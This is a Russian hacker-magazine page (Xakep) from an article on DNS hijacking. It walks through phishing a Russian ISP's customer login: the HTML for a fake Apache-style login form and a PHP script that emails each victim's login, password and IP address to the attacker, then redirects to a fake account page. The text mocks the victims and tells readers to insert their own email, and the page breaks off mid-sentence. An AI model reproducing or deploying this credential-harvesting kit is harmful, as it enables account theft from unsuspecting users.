ВОЕННЫЙ HTTP’ОВЫЙ DNS - Берем контроль над браузером клиента

Спецвыпуск Xakep, номер #029, стр. 029-020-5


Дальше можно перейти ко всяким отправкам личной инфы ламера к нам на мыло. При клике на ссылку на Личный кабинет с обманки РОЛа или наборе в адесной строке одного из этих адресов voffice.rol.ru http://voffice.rol.ru http://voffice.rol.ru/ Из личного кабинера на РОЛе наш милый и любимый (Лу)юзер должен перенаправиться на нашу пагу-обманку login.php, на ней псевдо-апач-авторизация (copyright на оба эти слова. Шекспир). Пользователь вводит свои тайные логин/пароль. При клике на любой кнопке, инфа передается методом пост нашему скриптику post.php

<table width=90% height=90% border=0 cellspacing=0 cellpadding=0><form method=post action=post.php><tr>

Опустим избыточный код.

<input type=text size=12 maxlength=60 name=n1 style="font-family: Arial; font-size: 12px; width:200; height:20px;">

Снова опустим избыточный код.

<input type=password size=12 maxlength=60 name=n2 style="font-family: Arial; font-size: 12px; width:200; height:20px;">

Опять опустим избыточный код.

<INPUT type="checkbox" name="Order" value="DSN"> Save this password in your password list

И еще раз опустим избыточный код.

<input type=submit name=do value='Ok' style="width:90">     <input type=submit name=do value='Cancel' style="width:90"><br>

Ну, и опустим избыточный код

</tr></form></table>

Кстати, опять обрати внимание, как верстается открывающий и закрывающие тэги ФОРМЫ, это важно при желании избежать излишних пробелов. При нажатии передали инфу и скрипт заработал:

<?

$timeall = 'Date: '.Date( 'D, d M Y H:i:s ').$SIGN.sprintf( '%02d%02d',floor($ZONE/3600),floor(($ZONE%3600)/60)). "\n";

$msg .= $timeall;

$msg .= "REMOTE_ADDR: $REMOTE_ADDR\n";

$host = gethostbyaddr("$REMOTE_ADDR");

$msg .= "HOST: $host\n";

$msg .= "$n1\n";

$msg .= "$n2\n";

$msg .= " \n";

$msg .= "------------------------------------------\n";

$topic = "ROL: Login\Password";

$email="sex@sex.ru";

mail($email, $topic, $msg, "From: sex@sex.ru");

$goto = 'Location: '.'rvoffice.php'.'?userlogin='.$n1;

Header($goto);

?>

Этот скриптик передает необходимый минимум информации кроме логина и пароля. Я его уже описывал как-то на страницах журнала. Вместо sex@sex.ru должен быть твой e@mail, на него будет приходить "ценная" инфа. Скрипт после отправки мыла сразу переходит на пагу rvoffice.php и явным образом передает на нее переменную userlogin, это логин пользователя. С помощью этого логина, мы будем пытаться заставить пользователя поверить, что он в своем Личном кабинете. Для этого у нас по всему rvoffice.php разбросаны

Назад на стр. 029-020-4  Содержание  Вперед на стр. 029-020-6